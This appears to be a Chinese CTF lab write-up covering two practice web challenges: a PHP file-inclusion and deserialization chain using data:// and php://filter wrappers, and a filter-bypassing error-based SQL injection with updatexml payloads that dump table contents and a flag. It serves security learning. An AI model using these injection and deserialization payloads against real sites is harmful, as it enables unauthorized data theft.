Web实操(6),基础知识学习(24~)

1.[ZJCTF 2019]NiZhuanSiWei1

(1)进入环境后看到一篇php代码,开始我简单的以为是一题常规的php伪协议,多次试错后发现它并没有那么简单,它包含了基础的文件包含,伪协议还有反序列化

(2)分析代码发现它传入了三个不同的参数,并且判断最后程序进入else时应该是可以出flag的

按照它代码所写

首先要输入的r要满足r=welcome to the zjctf

后面它又说file不能含有flag但是下面有注释的文件名,可能是在提醒,尝试去读取那个文件构造,首先我们要进入到那环境里面, 首先file_get_contents是得读取到"文件"里的内容,而这里需要注意$text是一个变量,C不能读取一个变量

注:file_get_contents函数是 PHP 中一个功能丰富、易于使用的函数,可以用于文件操作和发起 HTTP 请求。通过深入理解该函数的使用方法,我们可以更高效地处理文件读取和远程资源获取任务。同时,使用上下文选项和其他相关函数,可以使 file_get_contents() 更加灵活和强大。有下面这些用法

1. 文件操作
1.1 读取本地文件
1.2 使用上下文选项
2. HTTP 请求
2.1 发起简单的 HTTP GET 请求
2.2 处理响应头信息
2.3 处理 HTTP 错误
具体请看file_get_contents() 函数详解与使用-CSDN博客

这里需要尝试使用data伪协议去给他赋值,在一个文件里面。payload:/?text=data://text/plain,welcome to the zjctf然后才能成功进入

(3)到这里就需要尝试去读取useless.php文件内容了

还需要使用filter伪协议构造payload:&file=php://filter/read=convert.base64-encode/resource=useless.php

注:data协议规则:
data://text/plain;编码格式,读取内容

(注意一个是分号;命令拼接,和一个逗号,用来读取文本内容)

(4)也是成功获取到文件里的内容,然后用工具解一下码可以得到一篇新的php代码

(5)里面写了file_get_contents直接去读flag.php,构造反序列化,poc:

<?php
class Flag
{  //flag.php
    public $file = 'flag.php';
}
$a = new Flag();
echo urlencode(serialize($a));

还需要注意不需要去访问useless.php文件的内容了,我们构造的反序列化会把之前的覆盖掉,最终我们要的是useless.php来访问我们的flag

(6)再次进行序列化

<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$flag=new Flag();
echo serialize($flag);
?> 

可以得到

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后构造pyload : ?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后F12查看源码即可得到flag

2.[极客大挑战 2019]HardSQL1

(1)进入题目环境

(2)不知道它是啥注入类型,就一个个试

username:admin

password:1
这里把参数password作为注入点

1

1'

万能密码 1' or 1=1#

到这里使用万能密码注入被链接,应该是某些字符或者关键字被过滤

(3)然后用BP抓包用sql字典爆破,可以看到很多字符=、--+、/**/和一些注入命令union、by、'1'='1等都被过滤掉了

(4)接着测试admin

1' or

还是出错,说明这里应该就是空格有问题了

(5)然后用括号代替了空格再试试

admin

1'(or)

到这证明判断没错,但是这里又需要注意,前面爆出它过滤了=,

看了其他博主的wp才知道在这里like没有被过滤,使用like可以绕过=号,like <=> =

(6)然后重新构造万能密码
1'or((1)like(1))#

可以看到这里也是成功绕过空格,登陆成功

到这里还需要注意一个有关报错注入的知识点:

SQL报错注入常用函数

两个基于XPAT(XML)的报错注入函数

函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数

函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数

注入原理:

(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)

(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)

其它

函数floor() mysql中用来取整的函数

函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

(7)这里我使用updatexml()函数来进行爆库

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

(8)得到库名geek

然后查表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

(9)到这里再得到数据表名 H4rDsq1

然后再来爆字段

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

(10)接着爆爆字段内容**1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#**

也是成功拿到一半flag

(11)后面一半开始怎么也弄不出来,其实就是练得太少,后面看了其他大佬wp才知道这里 要使用right()突破字符限制
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

成功拿到后半段flag要注意这里中间部分是重复的,拼接时需要注意不要拼重复

最后拼接得到完整 flag{ca5de2ab-4550-4fc2-87f7-7fbb95f1e4d2}

相关推荐
蜡笔小新星10 分钟前
Python Kivy库学习路线
开发语言·网络·经验分享·python·学习
攸攸太上23 分钟前
JMeter学习
java·后端·学习·jmeter·微服务
Ljubim.te1 小时前
Linux基于CentOS学习【进程状态】【进程优先级】【调度与切换】【进程挂起】【进程饥饿】
linux·学习·centos
yngsqq1 小时前
031集——文本文件按空格分行——C#学习笔记
笔记·学习·c#
zengy52 小时前
Effective C++中文版学习记录(三)
数据结构·c++·学习·stl
cyt涛2 小时前
MyBatis 学习总结
数据库·sql·学习·mysql·mybatis·jdbc·lombok
Willliam_william2 小时前
SystemC学习(1)— SystemC安装与HelloWorld
学习
sealaugh322 小时前
aws(学习笔记第一课) AWS CLI,创建ec2 server以及drawio进行aws画图
笔记·学习·aws
布丁不叮早起枣祈2 小时前
10.5学习
学习
向上的车轮2 小时前
Django学习笔记五:templates使用详解
笔记·学习·django